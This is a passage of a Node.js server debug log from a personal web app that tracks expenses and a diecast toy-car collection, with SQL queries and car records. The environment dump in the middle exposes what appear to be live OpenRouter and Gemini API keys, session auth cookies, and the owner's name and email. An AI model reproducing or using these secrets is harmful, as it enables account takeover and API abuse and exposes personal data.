  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-12T13:05:48.031Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-12T13:05:49.174Z server-connect:router Serving templateView /diecast
2026-02-12T13:05:49.174Z server-connect:app Executing action step identify
2026-02-12T13:05:49.175Z server-connect:app options: { provider: 'security' }
2026-02-12T13:05:49.175Z server-connect:output identity: 1
2026-02-12T13:05:49.175Z server-connect:app Executing action step restrict
2026-02-12T13:05:49.175Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-12T13:05:49.175Z server-connect:output restrict: undefined
2026-02-12T13:05:49.175Z server-connect:router Render template diecast
2026-02-12T13:05:49.176Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AVuWNGukEoAyZ4JskBVUMgQ%3D%3D.SJ0vaHSyTgpJ1qefp%2BGB8u%2FnGZuNjO7Dc2%2F4VPqPOwFw1sxXOOw1cUzxBM77aTh7B8t6f5MjN2n0PSRe1dBxeAc%2Bjw%2BZKV0hySVCVy1u6%2Bvu3PBIweNfVvulQDZz6jbRYYewVn6z0628tI5Wg8BHk1NVM%2BZdfeBv%2FigAD5fQ2dI%3D.EUcazwg%2F2CileGia3wewO5Ynf9MlrjjmJ66U7NI2%2F%2Fk; your_r_git.sid=s%3ApCUztKKScRLwcaRqtcPWhkXs98ErqlRl.WgX99j%2Bv27wmvfKL877ACN2eY11oPgs3hzr4HG4aYtw',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-13T11:42:17.122Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AVuWNGukEoAyZ4JskBVUMgQ%3D%3D.SJ0vaHSyTgpJ1qefp%2BGB8u%2FnGZuNjO7Dc2%2F4VPqPOwFw1sxXOOw1cUzxBM77aTh7B8t6f5MjN2n0PSRe1dBxeAc%2Bjw%2BZKV0hySVCVy1u6%2Bvu3PBIweNfVvulQDZz6jbRYYewVn6z0628tI5Wg8BHk1NVM%2BZdfeBv%2FigAD5fQ2dI%3D.EUcazwg%2F2CileGia3wewO5Ynf9MlrjjmJ66U7NI2%2F%2Fk; your_r_git.sid=s%3ApCUztKKScRLwcaRqtcPWhkXs98ErqlRl.WgX99j%2Bv27wmvfKL877ACN2eY11oPgs3hzr4HG4aYtw',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-12T13:05:49.520Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:05:49.520Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:05:49.522Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-12T13:05:49.523Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:05:49.524Z server-connect:app Executing action step identify
2026-02-12T13:05:49.524Z server-connect:app options: { provider: 'security' }
2026-02-12T13:05:49.524Z server-connect:output identity: 1
2026-02-12T13:05:49.524Z server-connect:app Executing action step restrict
2026-02-12T13:05:49.524Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:05:49.524Z server-connect:app Executing action step identify
2026-02-12T13:05:49.524Z server-connect:app options: { provider: 'security' }
2026-02-12T13:05:49.524Z server-connect:output identity: 1
2026-02-12T13:05:49.524Z server-connect:app Executing action step restrict
2026-02-12T13:05:49.524Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:05:49.526Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-12T13:05:49.527Z server-connect:output restrict: undefined
2026-02-12T13:05:49.527Z server-connect:app Executing action step select
2026-02-12T13:05:49.527Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:05:49.527Z server-connect:output restrict: undefined
2026-02-12T13:05:49.527Z server-connect:app Executing action step select
2026-02-12T13:05:49.527Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:05:49.528Z server-connect:app Executing action step identify
2026-02-12T13:05:49.528Z server-connect:app options: { provider: 'security' }
2026-02-12T13:05:49.528Z server-connect:output identity: 1
2026-02-12T13:05:49.528Z server-connect:app Executing action step restrict
2026-02-12T13:05:49.528Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:05:49.529Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-12T13:05:49.529Z server-connect:app Executing action step identify
2026-02-12T13:05:49.529Z server-connect:app options: { provider: 'security' }
2026-02-12T13:05:49.530Z server-connect:output identity: 1
2026-02-12T13:05:49.530Z server-connect:app Executing action step restrict
2026-02-12T13:05:49.530Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:05:49.531Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-12T13:05:49.532Z server-connect:app Executing action step identify
2026-02-12T13:05:49.532Z server-connect:app options: { provider: 'security' }
2026-02-12T13:05:49.532Z server-connect:output identity: 1
2026-02-12T13:05:49.532Z server-connect:app Executing action step restrict
2026-02-12T13:05:49.532Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:05:49.533Z server-connect:output restrict: undefined
2026-02-12T13:05:49.533Z server-connect:app Executing action step paged
2026-02-12T13:05:49.533Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-12T13:05:49.534Z server-connect:output restrict: undefined
2026-02-12T13:05:49.534Z server-connect:app Executing action step select
2026-02-12T13:05:49.534Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:05:49.536Z server-connect:output restrict: undefined
2026-02-12T13:05:49.536Z server-connect:app Executing action step select
2026-02-12T13:05:49.536Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T13:05:49.537Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-02-12T13:05:49.539Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-12T13:05:49.539Z server-connect:app Executing action step select
2026-02-12T13:05:49.539Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T13:05:49.541Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-12T13:05:49.541Z server-connect:app Executing action step select
2026-02-12T13:05:49.541Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T13:05:49.542Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
